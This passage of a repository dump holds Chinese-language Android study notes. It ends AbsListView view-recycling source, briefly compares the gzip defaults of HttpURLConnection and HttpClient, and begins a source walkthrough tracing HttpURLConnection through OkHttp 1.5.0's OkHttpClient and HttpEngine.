null;\n\n\t\t\t\tif (victim.hasTransientState()) {\n\t\t\t\t\t// Store views with transient state for later use.\n\t\t\t\t\tvictim.dispatchStartTemporaryDetach();\n\n\t\t\t\t\tif (mAdapter != null && mAdapterHasStableIds) {\n\t\t\t\t\t\tif (mTransientStateViewsById == null) {\n\t\t\t\t\t\t\tmTransientStateViewsById = new LongSparseArray<View>();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlong id = mAdapter.getItemId(mFirstActivePosition + i);\n\t\t\t\t\t\tmTransientStateViewsById.put(id, victim);\n\t\t\t\t\t} else if (!mDataChanged) {\n\t\t\t\t\t\tif (mTransientStateViews == null) {\n\t\t\t\t\t\t\tmTransientStateViews = new SparseArray<View>();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmTransientStateViews.put(mFirstActivePosition + i, victim);\n\t\t\t\t\t} else if (whichScrap != ITEM_VIEW_TYPE_HEADER_OR_FOOTER) {\n\t\t\t\t\t\t// The data has changed, we can't keep this view.\n\t\t\t\t\t\tremoveDetachedView(victim, false);\n\t\t\t\t\t}\n\t\t\t\t} else if (!shouldRecycleViewType(whichScrap)) {\n\t\t\t\t\t// Discard non-recyclable views except headers/footers.\n\t\t\t\t\tif (whichScrap != ITEM_VIEW_TYPE_HEADER_OR_FOOTER) {\n\t\t\t\t\t\tremoveDetachedView(victim, false);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Store everything else on the appropriate scrap heap.\n\t\t\t\t\tif (multipleScraps) {\n\t\t\t\t\t\tscrapViews = mScrapViews[whichScrap];\n\t\t\t\t\t}\n\n\t\t\t\t\tvictim.dispatchStartTemporaryDetach();\n\t\t\t\t\tlp.scrappedFromPosition = mFirstActivePosition + i;\n\t\t\t\t\tscrapViews.add(victim);\n\n\t\t\t\t\tif (hasListener) {\n\t\t\t\t\t\tmRecyclerListener.onMovedToScrapHeap(victim);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpruneScrapViews();\n\t}\n\n\t/**\n\t * Makes sure that the size of mScrapViews does not exceed the size of\n\t * mActiveViews, which can happen if an adapter does not recycle its\n\t * views. Removes cached transient state views that no longer have\n\t * transient state.\n\t */\n\tprivate void pruneScrapViews() {\n\t\tfinal int maxViews = mActiveViews.length;\n\t\tfinal int viewTypeCount = mViewTypeCount;\n\t\tfinal ArrayList<View>[] scrapViews = mScrapViews;\n\t\tfor (int i = 0; i < viewTypeCount; ++i) {\n\t\t\tfinal ArrayList<View> scrapPile = scrapViews[i];\n\t\t\tint size = scrapPile.size();\n\t\t\tfinal int extras = size - maxViews;\n\t\t\tsize--;\n\t\t\tfor (int j = 0; j < extras; j++) {\n\t\t\t\tremoveDetachedView(scrapPile.remove(size--), false);\n\t\t\t}\n\t\t}\n\n\t\tfinal SparseArray<View> transViewsByPos = mTransientStateViews;\n\t\tif (transViewsByPos != null) {\n\t\t\tfor (int i = 0; i < transViewsByPos.size(); i++) {\n\t\t\t\tfinal View v = transViewsByPos.valueAt(i);\n\t\t\t\tif (!v.hasTransientState()) {\n\t\t\t\t\tremoveDetachedView(v, false);\n\t\t\t\t\ttransViewsByPos.removeAt(i);\n\t\t\t\t\ti--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfinal LongSparseArray<View> transViewsById = mTransientStateViewsById;\n\t\tif (transViewsById != null) {\n\t\t\tfor (int i = 0; i < transViewsById.size(); i++) {\n\t\t\t\tfinal View v = transViewsById.valueAt(i);\n\t\t\t\tif (!v.hasTransientState()) {\n\t\t\t\t\tremoveDetachedView(v, false);\n\t\t\t\t\ttransViewsById.removeAt(i);\n\t\t\t\t\ti--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Puts all views in the scrap heap into the supplied list.\n\t */\n\tvoid reclaimScrapViews(List<View> views) {\n\t\tif (mViewTypeCount == 1) {\n\t\t\tviews.addAll(mCurrentScrap);\n\t\t} else {\n\t\t\tfinal int viewTypeCount = mViewTypeCount;\n\t\t\tfinal ArrayList<View>[] scrapViews = mScrapViews;\n\t\t\tfor (int i = 0; i < viewTypeCount; ++i) {\n\t\t\t\tfinal ArrayList<View> scrapPile = scrapViews[i];\n\t\t\t\tviews.addAll(scrapPile);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Updates the cache color hint of all known views.\n\t *\n\t * @param color The new cache color hint.\n\t */\n\tvoid setCacheColorHint(int color) {\n\t\tif (mViewTypeCount == 1) {\n\t\t\tfinal ArrayList<View> scrap = mCurrentScrap;\n\t\t\tfinal int scrapCount = scrap.size();\n\t\t\tfor (int i = 0; i < scrapCount; i++) {\n\t\t\t\tscrap.get(i).setDrawingCacheBackgroundColor(color);\n\t\t\t}\n\t\t} else {\n\t\t\tfinal int typeCount = mViewTypeCount;\n\t\t\tfor (int i = 0; i < typeCount; i++) {\n\t\t\t\tfinal ArrayList<View> scrap = mScrapViews[i];\n\t\t\t\tfinal int scrapCount = scrap.size();\n\t\t\t\tfor (int j = 0; j < scrapCount; j++) {\n\t\t\t\t\tscrap.get(j).setDrawingCacheBackgroundColor(color);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Just in case this is called during a layout pass\n\t\tfinal View[] activeViews = mActiveViews;\n\t\tfinal int count = activeViews.length;\n\t\tfor (int i = 0; i < count; ++i) {\n\t\t\tfinal View victim = activeViews[i];\n\t\t\tif (victim != null) {\n\t\t\t\tvictim.setDrawingCacheBackgroundColor(color);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate View retrieveFromScrap(ArrayList<View> scrapViews, int position) {\n\t\tfinal int size = scrapViews.size();\n\t\tif (size > 0) {\n\t\t\t// See if we still have a view for this position or ID.\n\t\t\tfor (int i = 0; i < size; i++) {\n\t\t\t\tfinal View view = scrapViews.get(i);\n\t\t\t\tfinal AbsListView.LayoutParams params =\n\t\t\t\t\t\t(AbsListView.LayoutParams) view.getLayoutParams();\n\n\t\t\t\tif (mAdapterHasStableIds) {\n\t\t\t\t\tfinal long id = mAdapter.getItemId(position);\n\t\t\t\t\tif (id == params.itemId) {\n\t\t\t\t\t\treturn scrapViews.remove(i);\n\t\t\t\t\t}\n\t\t\t\t} else if (params.scrappedFromPosition == position) {\n\t\t\t\t\tfinal View scrap = scrapViews.remove(i);\n\t\t\t\t\tclearAccessibilityFromScrap(scrap);\n\t\t\t\t\treturn scrap;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfinal View scrap = scrapViews.remove(size - 1);\n\t\t\tclearAccessibilityFromScrap(scrap);\n\t\t\treturn scrap;\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tprivate void clearScrap(final ArrayList<View> scrap) {\n\t\tfinal int scrapCount = scrap.size();\n\t\tfor (int j = 0; j < scrapCount; j++) {\n\t\t\tremoveDetachedView(scrap.remove(scrapCount - 1 - j), false);\n\t\t}\n\t}\n\n\tprivate void clearAccessibilityFromScrap(View view) {\n\t\tview.clearAccessibilityFocus();\n\t\tview.setAccessibilityDelegate(null);\n\t}\n\n\tprivate void removeDetachedView(View child, boolean animate) {\n\t\tchild.setAccessibilityDelegate(null);\n\t\tAbsListView.this.removeDetachedView(child, animate);\n\t}\n}\n```\n\n到此为止。\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Netowork/HttpURLConnection与HttpClient.md",
    "content": "HttpURLConnection与HttpClient\n===\n\n- `Java`的`HttpURLConnection`     \n    请求默认带`Gzip`压缩。\n- `Apache`的`HttpClient`       \n    请求默认不带`Gzip`压缩。\n\t\n一般对于`API`请求返回的数据大多是`Json`类的字符串，`Gzip`压缩可以使数据大小大幅降低。\n`Retrofit`及`Volley`框架默认在`Android Gingerbread(API 9)`及以上都是用`HttpURLConnection`，9以下用`HttpClient`。       \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Netowork/HttpURLConnection详解.md",
    "content": "Android HttpURLConnection源码分析\n---\n\n之前写过HttpURLConnection与HttpClient的区别及选择。后来又分析了Volley的源码。\n最近又遇到了问题，想在Volley中针对HttpURLConnection添加连接池的功能，开始有点懵了，不知道HttpURLConnection要怎么加连接池，\n虽然感觉这是没必要的，但是心底确拿不出依据。所以研究下HttpURLConnection的源码进行分析。\n\n\n在使用的时候都是通过URL.openConnection()来获取`HttpURLConnection`对象，然后调用其`connect`方法进行链接，所以先从`URL.penConnection()`入手:    \n```java\n/**\n * Returns a new connection to the resource referred to by this URL.\n *\n * @throws IOException if an error occurs while opening the connection.\n */\npublic URLConnection openConnection() throws IOException {\n    return streamHandler.openConnection(this);\n}\n```\n\n接下来就要看一下`streamHandler`究竟是何方神圣？我们搜一下他的赋值，是在`setupStreamHandler`方法中进行的：    \n```java\n/**\n * Sets the receiver's stream handler to one which is appropriate for its\n * protocol.\n *\n * <p>Note that this will overwrite any existing stream handler with the new\n * one. Senders must check if the streamHandler is null before calling the\n * method if they do not want this behavior (a speed optimization).\n *\n * @throws MalformedURLException if no reasonable handler is available.\n */\nvoid setupStreamHandler() {\n    // Check for a cached (previously looked up) handler for\n    // the requested protocol.\n    streamHandler = streamHandlers.get(protocol);\n    if (streamHandler != null) {\n        return;\n    }\n\n    // If there is a stream handler factory, then attempt to\n    // use it to create the handler.\n    if (streamHandlerFactory != null) {\n        streamHandler = streamHandlerFactory.createURLStreamHandler(protocol);\n        if (streamHandler != null) {\n            streamHandlers.put(protocol, streamHandler);\n            return;\n        }\n    }\n\n    // Check if there is a list of packages which can provide handlers.\n    // If so, then walk this list looking for an applicable one.\n    String packageList = System.getProperty(\"java.protocol.handler.pkgs\");\n    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();\n    if (packageList != null && contextClassLoader != null) {\n        for (String packageName : packageList.split(\"\\\\|\")) {\n            String className = packageName + \".\" + protocol + \".Handler\";\n            try {\n                Class<?> c = contextClassLoader.loadClass(className);\n                streamHandler = (URLStreamHandler) c.newInstance();\n                if (streamHandler != null) {\n                    streamHandlers.put(protocol, streamHandler);\n                }\n                return;\n            } catch (IllegalAccessException ignored) {\n            } catch (InstantiationException ignored) {\n            } catch (ClassNotFoundException ignored) {\n            }\n        }\n    }\n\n    // Fall back to a built-in stream handler if the user didn't supply one\n    if (protocol.equals(\"file\")) {\n        streamHandler = new FileHandler();\n    } else if (protocol.equals(\"ftp\")) {\n        streamHandler = new FtpHandler();\n    } else if (protocol.equals(\"http\")) {\n        // 判断一下如果是HTTP协议，就会创建HtppHandler。看到这里明白了，原来使用的是okhttp.\n        try {\n            String name = \"com.android.okhttp.HttpHandler\";\n            streamHandler = (URLStreamHandler) Class.forName(name).newInstance();\n        } catch (Exception e) {\n            throw new AssertionError(e);\n        }\n    } else if (protocol.equals(\"https\")) {\n        try {\n            String name = \"com.android.okhttp.HttpsHandler\";\n            streamHandler = (URLStreamHandler) Class.forName(name).newInstance();\n        } catch (Exception e) {\n         throw new AssertionError(e);\n        }\n    } else if (protocol.equals(\"jar\")) {\n        streamHandler = new JarHandler();\n    }\n    if (streamHandler != null) {\n        streamHandlers.put(protocol, streamHandler);\n    }\n}\n```\n这里我们就以`HTTP`协议为例说一下所以找到`okhttp HttpHandler.openConnection()`方法:     \n```java    \n/*\n *  Licensed to the Apache Software Foundation (ASF) under one or more\n *  contributor license agreements.  See the NOTICE file distributed with\n *  this work for additional information regarding copyright ownership.\n *  The ASF licenses this file to You under the Apache License, Version 2.0\n *  (the \"License\"); you may not use this file except in compliance with\n *  the License.  You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\npackage com.squareup.okhttp;\nimport java.io.IOException;\nimport java.net.Proxy;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.net.URLStreamHandler;\npublic final class HttpHandler extends URLStreamHandler {\n    @Override protected URLConnection openConnection(URL url) throws IOException {\n        // 调用了OKHttpClient()的方法\n        return new OkHttpClient().open(url);\n    }\n    @Override protected URLConnection openConnection(URL url, Proxy proxy) throws IOException {\n        if (url == null || proxy == null) {\n            throw new IllegalArgumentException(\"url == null || proxy == null\");\n        }\n        return new OkHttpClient().setProxy(proxy).open(url);\n    }\n    @Override protected int getDefaultPort() {\n        return 80;\n    }\n}\n```\n\n接下来就悲剧了，因为我找不到OkHttpClient()类中有`open`方法。               \n仔细查看了文档后发现在`OKHttp`1.6.0的时候该方法就已经已经过时了。    \n```java\n@Deprecated\npublic HttpURLConnection open(URL url)\nDeprecated. moved to OkUrlFactory.open.\n```\n\n那我们怎么往下分析呢？很显然`Android sdk`中使用的`OkHttp`不是最新版。所以我们可以使用`1.5.0`版本的`OKHttp`接着分析。\n在项目`build.gradle`中进行配置 compile 'com.squareup.okhttp:okhttp:1.5.0' 然后开始愉快的查看源码。    \n\n```java\npackage com.squareup.okhttp;\n\nimport com.squareup.okhttp.internal.Util;\nimport com.squareup.okhttp.internal.http.HttpAuthenticator;\nimport com.squareup.okhttp.internal.http.HttpURLConnectionImpl;\nimport com.squareup.okhttp.internal.http.HttpsURLConnectionImpl;\nimport com.squareup.okhttp.internal.http.ResponseCacheAdapter;\nimport com.squareup.okhttp.internal.okio.ByteString;\nimport com.squareup.okhttp.internal.tls.OkHostnameVerifier;\nimport java.io.IOException;\nimport java.net.CookieHandler;\nimport java.net.HttpURLConnection;\nimport java.net.Proxy;\nimport java.net.ProxySelector;\nimport java.net.ResponseCache;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.net.URLStreamHandler;\nimport java.net.URLStreamHandlerFactory;\nimport java.security.GeneralSecurityException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.TimeUnit;\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSocketFactory;\n\n/** Configures and creates HTTP connections. */\npublic final class OkHttpClient implements URLStreamHandlerFactory, Cloneable {\n\n  private final RouteDatabase routeDatabase;\n  private Proxy proxy;\n  private List<Protocol> protocols;\n  private ProxySelector proxySelector;\n  private CookieHandler cookieHandler;\n  private OkResponseCache responseCache;\n  private SSLSocketFactory sslSocketFactory;\n  private HostnameVerifier hostnameVerifier;\n  private OkAuthenticator authenticator;\n  private ConnectionPool connectionPool;\n  private boolean followProtocolRedirects = true;\n  private int connectTimeout;\n  private int readTimeout;\n\n  public OkHttpClient() {\n    routeDatabase = new RouteDatabase();\n  }\n\n  /**\n   * Sets the default connect timeout for new connections. A value of 0 means no timeout.\n   *\n   * @see URLConnection#setConnectTimeout(int)\n   */\n  public void setConnectTimeout(long timeout, TimeUnit unit) {\n    if (timeout < 0) {\n      throw new IllegalArgumentException(\"timeout < 0\");\n    }\n    if (unit == null) {\n      throw new IllegalArgumentException(\"unit == null\");\n    }\n    long millis = unit.toMillis(timeout);\n    if (millis > Integer.MAX_VALUE) {\n      throw new IllegalArgumentException(\"Timeout too large.\");\n    }\n    connectTimeout = (int) millis;\n  }\n\n  /** Default connect timeout (in milliseconds). */\n  public int getConnectTimeout() {\n    return connectTimeout;\n  }\n\n  /**\n   * Sets the default read timeout for new connections. A value of 0 means no timeout.\n   *\n   * @see URLConnection#setReadTimeout(int)\n   */\n  public void setReadTimeout(long timeout, TimeUnit unit) {\n    if (timeout < 0) {\n      throw new IllegalArgumentException(\"timeout < 0\");\n    }\n    if (unit == null) {\n      throw new IllegalArgumentException(\"unit == null\");\n    }\n    long millis = unit.toMillis(timeout);\n    if (millis > Integer.MAX_VALUE) {\n      throw new IllegalArgumentException(\"Timeout too large.\");\n    }\n    readTimeout = (int) millis;\n  }\n\n  /** Default read timeout (in milliseconds). */\n  public int getReadTimeout() {\n    return readTimeout;\n  }\n\n  /**\n   * Sets the HTTP proxy that will be used by connections created by this\n   * client. This takes precedence over {@link #setProxySelector}, which is\n   * only honored when this proxy is null (which it is by default). To disable\n   * proxy use completely, call {@code setProxy(Proxy.NO_PROXY)}.\n   */\n  public OkHttpClient setProxy(Proxy proxy) {\n    this.proxy = proxy;\n    return this;\n  }\n\n  public Proxy getProxy() {\n    return proxy;\n  }\n\n  /**\n   * Sets the proxy selection policy to be used if no {@link #setProxy proxy}\n   * is specified explicitly. The proxy selector may return multiple proxies;\n   * in that case they will be tried in sequence until a successful connection\n   * is established.\n   *\n   * <p>If unset, the {@link ProxySelector#getDefault() system-wide default}\n   * proxy selector will be used.\n   */\n  public OkHttpClient setProxySelector(ProxySelector proxySelector) {\n    this.proxySelector = proxySelector;\n    return this;\n  }\n\n  public ProxySelector getProxySelector() {\n    return proxySelector;\n  }\n\n  /**\n   * Sets the cookie handler to be used to read outgoing cookies and write\n   * incoming cookies.\n   *\n   * <p>If unset, the {@link CookieHandler#getDefault() system-wide default}\n   * cookie handler will be used.\n   */\n  public OkHttpClient setCookieHandler(CookieHandler cookieHandler) {\n    this.cookieHandler = cookieHandler;\n    return this;\n  }\n\n  public CookieHandler getCookieHandler() {\n    return cookieHandler;\n  }\n\n  /**\n   * Sets the response cache to be used to read and write cached responses.\n   */\n  public OkHttpClient setResponseCache(ResponseCache responseCache) {\n    return setOkResponseCache(toOkResponseCache(responseCache));\n  }\n\n  public ResponseCache getResponseCache() {\n    return responseCache instanceof ResponseCacheAdapter\n        ? ((ResponseCacheAdapter) responseCache).getDelegate()\n        : null;\n  }\n\n  public OkHttpClient setOkResponseCache(OkResponseCache responseCache) {\n    this.responseCache = responseCache;\n    return this;\n  }\n\n  public OkResponseCache getOkResponseCache() {\n    return responseCache;\n  }\n\n  /**\n   * Sets the socket factory used to secure HTTPS connections.\n   *\n   * <p>If unset, a lazily created SSL socket factory will be used.\n   */\n  public OkHttpClient setSslSocketFactory(SSLSocketFactory sslSocketFactory) {\n    this.sslSocketFactory = sslSocketFactory;\n    return this;\n  }\n\n  public SSLSocketFactory getSslSocketFactory() {\n    return sslSocketFactory;\n  }\n\n  /**\n   * Sets the verifier used to confirm that response certificates apply to\n   * requested hostnames for HTTPS connections.\n   *\n   * <p>If unset, the\n   * {@link javax.net.ssl.HttpsURLConnection#getDefaultHostnameVerifier()\n   * system-wide default} hostname verifier will be used.\n   */\n  public OkHttpClient setHostnameVerifier(HostnameVerifier hostnameVerifier) {\n    this.hostnameVerifier = hostnameVerifier;\n    return this;\n  }\n\n  public HostnameVerifier getHostnameVerifier() {\n    return hostnameVerifier;\n  }\n\n  /**\n   * Sets the authenticator used to respond to challenges from the remote web\n   * server or proxy server.\n   *\n   * <p>If unset, the {@link java.net.Authenticator#setDefault system-wide default}\n   * authenticator will be used.\n   */\n  public OkHttpClient setAuthenticator(OkAuthenticator authenticator) {\n    this.authenticator = authenticator;\n    return this;\n  }\n\n  public OkAuthenticator getAuthenticator() {\n    return authenticator;\n  }\n\n  /**\n   * Sets the connection pool used to recycle HTTP and HTTPS connections.\n   *\n   * <p>If unset, the {@link ConnectionPool#getDefault() system-wide\n   * default} connection pool will be used.\n   */\n  public OkHttpClient setConnectionPool(ConnectionPool connectionPool) {\n    this.connectionPool = connectionPool;\n    return this;\n  }\n\n  public ConnectionPool getConnectionPool() {\n    return connectionPool;\n  }\n\n  /**\n   * Configure this client to follow redirects from HTTPS to HTTP and from HTTP\n   * to HTTPS.\n   *\n   * <p>If unset, protocol redirects will be followed. This is different than\n   * the built-in {@code HttpURLConnection}'s default.\n   */\n  public OkHttpClient setFollowProtocolRedirects(boolean followProtocolRedirects) {\n    this.followProtocolRedirects = followProtocolRedirects;\n    return this;\n  }\n\n  public boolean getFollowProtocolRedirects() {\n    return followProtocolRedirects;\n  }\n\n  public RouteDatabase getRoutesDatabase() {\n    return routeDatabase;\n  }\n\n  /**\n   * @deprecated OkHttp 1.5 enforces an enumeration of {@link Protocol protocols}\n   * that can be selected. Please switch to {@link #setProtocols(java.util.List)}.\n   */\n  @Deprecated\n  public OkHttpClient setTransports(List<String> transports) {\n    List<Protocol> protocols = new ArrayList<Protocol>(transports.size());\n    for (int i = 0, size = transports.size(); i < size; i++) {\n      try {\n        Protocol protocol = Util.getProtocol(ByteString.encodeUtf8(transports.get(i)));\n        protocols.add(protocol);\n      } catch (IOException e) {\n        throw new IllegalArgumentException(e);\n      }\n    }\n    return setProtocols(protocols);\n  }\n\n  /**\n   * Configure the protocols used by this client to communicate with remote\n   * servers. By default this client will prefer the most efficient transport\n   * available, falling back to more ubiquitous protocols. Applications should\n   * only call this method to avoid specific compatibility problems, such as web\n   * servers that behave incorrectly when SPDY is enabled.\n   *\n   * <p>The following protocols are currently supported:\n   * <ul>\n   *   <li><a href=\"http://www.w3.org/Protocols/rfc2616/rfc2616.html\">http/1.1</a>\n   *   <li><a href=\"http://www.chromium.org/spdy/spdy-protocol/spdy-protocol-draft3-1\">spdy/3.1</a>\n   *   <li><a href=\"http://tools.ietf.org/html/draft-ietf-httpbis-http2-09\">HTTP-draft-09/2.0</a>\n   * </ul>\n   *\n   * <p><strong>This is an evolving set.</strong> Future releases may drop\n   * support for transitional protocols (like spdy/3.1), in favor of their\n   * successors (spdy/4 or http/2.0). The http/1.1 transport will never be\n   * dropped.\n   *\n   * <p>If multiple protocols are specified, <a\n   * href=\"https://technotes.googlecode.com/git/nextprotoneg.html\">NPN</a> will\n   * be used to negotiate a transport. Future releases may use another mechanism\n   * (such as <a href=\"http://tools.ietf.org/html/draft-friedl-tls-applayerprotoneg-02\">ALPN</a>)\n   * to negotiate a transport.\n   *\n   * @param protocols the protocols to use, in order of preference. The list\n   *     must contain \"http/1.1\". It must not contain null.\n   */\n  public OkHttpClient setProtocols(List<Protocol> protocols) {\n    protocols = Util.immutableList(protocols);\n    if (!protocols.contains(Protocol.HTTP_11)) {\n      throw new IllegalArgumentException(\"protocols doesn't contain http/1.1: \" + protocols);\n    }\n    if (protocols.contains(null)) {\n      throw new IllegalArgumentException(\"protocols must not contain null\");\n    }\n    this.protocols = Util.immutableList(protocols);\n    return this;\n  }\n\n  /**\n   * @deprecated OkHttp 1.5 enforces an enumeration of {@link Protocol\n   *     protocols} that can be selected. Please switch to {@link\n   *     #getProtocols()}.\n   */\n  @Deprecated\n  public List<String> getTransports() {\n    List<String> transports = new ArrayList<String>(protocols.size());\n    for (int i = 0, size = protocols.size(); i < size; i++) {\n      transports.add(protocols.get(i).name.utf8());\n    }\n    return transports;\n  }\n\n  public List<Protocol> getProtocols() {\n    return protocols;\n  }\n\n  public HttpURLConnection open(URL url) {\n    return open(url, proxy);\n  }\n\n  HttpURLConnection open(URL url, Proxy proxy) {\n    String protocol = url.getProtocol();\n\t// 将该对象clone后设置一些其他的属性返回，里面会设置一个默认的连接池。\n    OkHttpClient copy = copyWithDefaults();\n    copy.proxy = proxy;\n\t// 返回了HttpURLConnectionImpl，并且把clone后的OKHttpClient对象传递进去。\n    if (protocol.equals(\"http\")) return new HttpURLConnectionImpl(url, copy);\n    if (protocol.equals(\"https\")) return new HttpsURLConnectionImpl(url, copy);\n    throw new IllegalArgumentException(\"Unexpected protocol: \" + protocol);\n  }\n\n  /**\n   * Returns a shallow copy of this OkHttpClient that uses the system-wide\n   * default for each field that hasn't been explicitly configured.\n   */\n  OkHttpClient copyWithDefaults() {\n    OkHttpClient result = clone();\n    if (result.proxySelector == null) {\n      result.proxySelector = ProxySelector.getDefault();\n    }\n    if (result.cookieHandler == null) {\n      result.cookieHandler = CookieHandler.getDefault();\n    }\n    if (result.responseCache == null) {\n      result.responseCache = toOkResponseCache(ResponseCache.getDefault());\n    }\n    if (result.sslSocketFactory == null) {\n      result.sslSocketFactory = getDefaultSSLSocketFactory();\n    }\n    if (result.hostnameVerifier == null) {\n      result.hostnameVerifier = OkHostnameVerifier.INSTANCE;\n    }\n    if (result.authenticator == null) {\n      result.authenticator = HttpAuthenticator.SYSTEM_DEFAULT;\n    }\n    if (result.connectionPool == null) {\n\t  // 会给OkHttpClient设置一个默认的连接池\n      result.connectionPool = ConnectionPool.getDefault();\n    }\n    if (result.protocols == null) {\n      result.protocols = Util.HTTP2_SPDY3_AND_HTTP;\n    }\n    return result;\n  }\n\n  /**\n   * Java and Android programs default to using a single global SSL context,\n   * accessible to HTTP clients as {@link SSLSocketFactory#getDefault()}. If we\n   * used the shared SSL context, when OkHttp enables NPN for its SPDY-related\n   * stuff, it would also enable NPN for other usages, which might crash them\n   * because NPN is enabled when it isn't expected to be.\n   * <p>\n   * This code avoids that by defaulting to an OkHttp created SSL context. The\n   * significant drawback of this approach is that apps that customize the\n   * global SSL context will lose these customizations.\n   */\n  private synchronized SSLSocketFactory getDefaultSSLSocketFactory() {\n    if (sslSocketFactory == null) {\n      try {\n        SSLContext sslContext = SSLContext.getInstance(\"TLS\");\n        sslContext.init(null, null, null);\n        sslSocketFactory = sslContext.getSocketFactory();\n      } catch (GeneralSecurityException e) {\n        throw new AssertionError(); // The system has no TLS. Just give up.\n      }\n    }\n    return sslSocketFactory;\n  }\n\n  /** Returns a shallow copy of this OkHttpClient. */\n  @Override public OkHttpClient clone() {\n    try {\n      return (OkHttpClient) super.clone();\n    } catch (CloneNotSupportedException e) {\n      throw new AssertionError();\n    }\n  }\n\n  private OkResponseCache toOkResponseCache(ResponseCache responseCache) {\n    return responseCache == null || responseCache instanceof OkResponseCache\n        ? (OkResponseCache) responseCache\n        : new ResponseCacheAdapter(responseCache);\n  }\n\n  /**\n   * Creates a URLStreamHandler as a {@link URL#setURLStreamHandlerFactory}.\n   *\n   * <p>This code configures OkHttp to handle all HTTP and HTTPS connections\n   * created with {@link URL#openConnection()}: <pre>   {@code\n   *\n   *   OkHttpClient okHttpClient = new OkHttpClient();\n   *   URL.setURLStreamHandlerFactory(okHttpClient);\n   * }</pre>\n   */\n  public URLStreamHandler createURLStreamHandler(final String protocol) {\n    if (!protocol.equals(\"http\") && !protocol.equals(\"https\")) return null;\n\n    return new URLStreamHandler() {\n      @Override protected URLConnection openConnection(URL url) {\n        return open(url);\n      }\n\n      @Override protected URLConnection openConnection(URL url, Proxy proxy) {\n        return open(url, proxy);\n      }\n\n      @Override protected int getDefaultPort() {\n        if (protocol.equals(\"http\")) return 80;\n        if (protocol.equals(\"https\")) return 443;\n        throw new AssertionError();\n      }\n    };\n  }\n}\n```\n接着看一下`HttpURLConnectionImpl`类,它是`HttpURLConnection`的子类：     \n```java\npublic class HttpURLConnectionImpl extends HttpURLConnection {\n    .....\n}\n```\n到这里`new URL(url).openConnection()`方法已经分析完了，其实就是返回了一个HtppURLConnectionImpl对象。    \n\n我们在使用`HttpURLConnection`都是这样使用：    \n```java\nString url = \"http://www.baidu.com\"\nURL url = new URL(url);\nHttpURLConnection connection = (HttpURLConnection)url.openConnection();\n// 设置一些请求头等参数\n...\nconnection.connect();\n// 然后调用一些其他的获取结果或者状态的方法。\n...\nconnection.getResponseCode();\nconnection.getOuoputStream();\nconnection.getInputStream();\n....\n```\n\n上面分析了`new URL().openConnection()`那我们这里就接着分析第二步了，就是调用`connect()`方法的处理:      \n这里看一下`HttpURLConnectionImpl.connect()`方法：   \n```java\n@Override public final void connect() throws IOException {\ninitHttpEngine();\nboolean success;\ndo {\n  success = execute(false);\n} while (!success);\n}\n```\n\n接着看一下`initHttpEngine()`方法的实现:            \n```java\nprivate void initHttpEngine() throws IOException {\n    if (httpEngineFailure != null) {\n      throw httpEngineFailure;\n    } else if (httpEngine != null) {\n      return;\n    }\n\n    connected = true;\n    try {\n      if (doOutput) {\n        if (method.equals(\"GET\")) {\n          // they are requesting a stream to write to. This implies a POST method\n          method = \"POST\";\n        } else if (!HttpMethod.hasRequestBody(method)) {\n          // If the request method is neither POST nor PUT nor PATCH, then you're not writing\n          throw new ProtocolException(method + \" does not support writing\");\n        }\n      }\n\n      // 将newHttpEngine方法的返回值赋值给HttpEngine的成员变量。\n      httpEngine = newHttpEngine(method, null, null);\n    } catch (IOException e) {\n      httpEngineFailure = e;\n      throw e;\n    }\n  }\n\n  private HttpEngine newHttpEngine(String method, Connection connection,\n      RetryableSink requestBody) {\n    Request.Builder builder = new Request.Builder()\n        .url(getURL())\n        .method(method, null /* No body; that's passed separately. */);\n    Headers headers = requestHeaders.build();\n    for (int i = 0; i < headers.size(); i++) {\n      builder.addHeader(headers.name(i), headers.value(i));\n    }\n\n    boolean bufferRequestBody;\n    if (fixedContentLength != -1) {\n      bufferRequestBody = false;\n      builder.header(\"Content-Length\", Long.toString(fixedContentLength));\n    } else if (chunkLength > 0) {\n      bufferRequestBody = false;\n      builder.header(\"Transfer-Encoding\", \"chunked\");\n    } else {\n      bufferRequestBody = true;\n    }\n\n    Request request = builder.build();\n\n    // If we're currently not using caches, make sure the engine's client doesn't have one.\n    OkHttpClient engineClient = client;\n    if (engineClient.getOkResponseCache() != null && !getUseCaches()) {\n      engineClient = client.clone().setOkResponseCache(null);\n    }\n\t// 将之前通过构造函数传递进来的OkHttpClient对象clone一份后再传递给HttpEngine\n    return new HttpEngine(engineClient, request, bufferRequestBody, connection, null, requestBody);\n  }\n\n```\n\n到这里我们知道他会创建一个`HttpEngine`类，我们先不管它，接着看一下`execute()`方法的内部实现： \n```java\n/**\n* Sends a request and optionally reads a response. Returns true if the\n* request was successfully executed, and false if the request can be\n* retried. Throws an exception if the request failed permanently.\n*/\nprivate boolean execute(boolean readResponse) throws IOException {\ntry {\n  // 调用了HttpEngine的sendRequest方法。\n  httpEngine.sendRequest();\n  route = httpEngine.getRoute();\n  handshake = httpEngine.getConnection() != null\n      ? httpEngine.getConnection().getHandshake()\n      : null;\n 